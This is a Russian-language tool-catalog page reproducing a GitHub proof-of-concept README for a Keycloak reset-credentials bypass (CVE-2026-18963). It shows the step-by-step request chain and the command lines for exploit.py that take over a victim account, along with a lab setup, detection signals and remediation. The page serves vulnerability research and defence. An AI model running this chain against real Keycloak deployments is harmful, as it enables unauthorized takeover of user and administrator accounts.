Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-18963-keycloak — Эксплойт Proof-of-concept для CVE-2026-18963 — критический обход процедуры сброса учётных данных Keycloak, позволяющий захват учётной записи без аутентификации. Включает настройку лабораторной среды, рекомендации по обнаружению и шаги по устранению уязвимости для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьАутентификацияОбучение и Образование
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Репозиторий
318 ч 20 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Эксплойт Proof-of-concept для CVE-2026-18963 — критический обход процедуры сброса учётных данных Keycloak, позволяющий захват учётной записи без аутентификации. Включает настройку лабораторной среды, рекомендации по обнаружению и шаги по устранению уязвимости для авторизованного тестирования.

Поделиться

CVE-2026-18963 — Обход сброса учётных данных (reset-credentials) в Keycloak → захват учётной записи

Захват учётной записи без аутентификации в процессе сброса учётных данных (reset-credentials) Keycloak. Злоумышленник, знающий только имя пользователя/email, может сбросить пароль любого пользователя — включая администраторов — так и не получив письмо с подтверждением.

CVE CVSS CWE License


⚠️ Дисклеймер — только этичное использование

Данный PoC опубликован строго в образовательных целях, для защитных исследований, разработки систем обнаружения и авторизованного тестирования безопасности.

  • Используйте его против систем, которыми вы или на тестирование которых у вас есть . Доступ к системам или их изменение без разрешения и неэтичны.
только
владеете
явное письменное разрешение
противозаконны
  • Это защитный/образовательный ресурс, призванный помочь командам понять, обнаруживать и устранять CVE-2026-18963, а не атаковать третьи стороны.
  • Автор (red-darkin) не несёт НИКАКОЙ ответственности за любое неправомерное использование, ущерб или противоправные действия, совершённые с помощью этого кода. Вы несёте единоличную ответственность за то, как вы его используете, и за соблюдение всех применимых законов.
  • Скачивая или используя этот репозиторий, вы принимаете эти условия. Если вы не согласны, не используйте его.
  • Полное заявление см. в DISCLAIMER.md.


    Сводка

    CVECVE-2026-18963
    КритичностьКритический — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    НедостатокCWE-640 — Слабый механизм восстановления пароля
    Затронутые версииKeycloak < 26.7.2 (upstream). Также исправлены сборочные потоки RH в сборках 26.6.6 / 26.4.15
    Исправлено вKeycloak 26.7.2 (PR #51844)
    ПредусловияНа реалме включён Forgot password (сброс учётных данных) — значение по умолчанию
    ВоздействиеПолный захват учётной записи любого пользователя (включая администраторов реалма) → компрометация IdP + латеральный SSO-доступ

    Как это работает — цепочка из двух ошибок

    Процесс сброса пароля (reset-credentials) обычно требует перейти по ссылке, отправленной владельцу учётной записи по email, прежде чем можно будет установить новый пароль. Два дефекта позволяют злоумышленнику полностью обойти эту проверку:

    1. Состояние «Try Another Way» без скоупа — обработчик выбора аутентификатора сохраняет заметку AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" без привязки к ID исполнения. Повторный вход в процесс оставляет сессию аутентификации в запутанном/устаревшем состоянии.
    2. Отсутствие проверки токена на этапе email — ResetCredentialEmail.action() вызывает context.success() без проверки ACTION_TOKEN_USER_ID (т.е. без подтверждения того, что отправленный по email action-токен действительно был израсходован).

    Совместное использование этих дефектов продвигает сессию аутентификации сразу к шагу UPDATE_PASSWORD для произвольного пользователя — email не требуется.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    Аннотированный diff патча см. в docs/ROOTCAUSE.md.


    Быстрый старт (лаборатория)

    Вам понадобятся Docker и Python 3 с установленным модулем requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Ожидаемый хвост вывода:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Затем войдите под учётной записью victim / Pwned-2026!, чтобы подтвердить захват.

    Отрицательный контроль (исправленная версия)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Использование

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Каждый HTTP-ответ сохраняется в ./dump/ для анализа.


    Проксирование через Burp

    Keycloak уже использует порт 8080, поэтому укажите слушатель Burp на другом порту (например, 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    Готовая цепочка запросов для Burp Repeater находится в requests/burp-chain.txt.


    Обнаружение

    Ищите смену пароля, которой не предшествовала проверка email в той же сессии аутентификации:

    • Событие UPDATE_PASSWORD без предшествующих VERIFY_EMAIL / EXECUTE_ACTION_TOKEN в этой сессии.
    • Серии запросов reset-credentials с параметром tryAnotherWay=on.
    • Многократные повторные входы в login-actions/reset-credentials с одним и тем же tab_id.

    Устранение

    • Обновитесь до Keycloak 26.7.2 (или до исправленного сборочного потока RH) — это главный приоритет.
    • Временное смягчение: Настройки реалма → Вход → Забыли пароль = Выкл. (Realm settings → Login → Forgot password = Off).
    • После установки патча: смените учётные данные администраторов, принудительно выполните повторный вход после сбросов и настройте оповещения по указанным выше сигналам обнаружения.

    Ссылки

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • Исправляющий PR #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Демонстрация

    Полный прогон записан в CVE-2026-18963.mp4 (в корне репозитория).

    Благодарности

    • red-darkin — воспроизведение в лаборатории, PoC и отчёт.
    • Claude (Anthropic) — помощь в исследовании и разработке PoC.

    Цепочка подтверждена сверкой с публичным патчем Keycloak (PR #51844) и отчётами сообщества.

    Лицензия

    MIT © red-darkin — только для образовательного использования и авторизованного тестирования.

    Скачать инструмент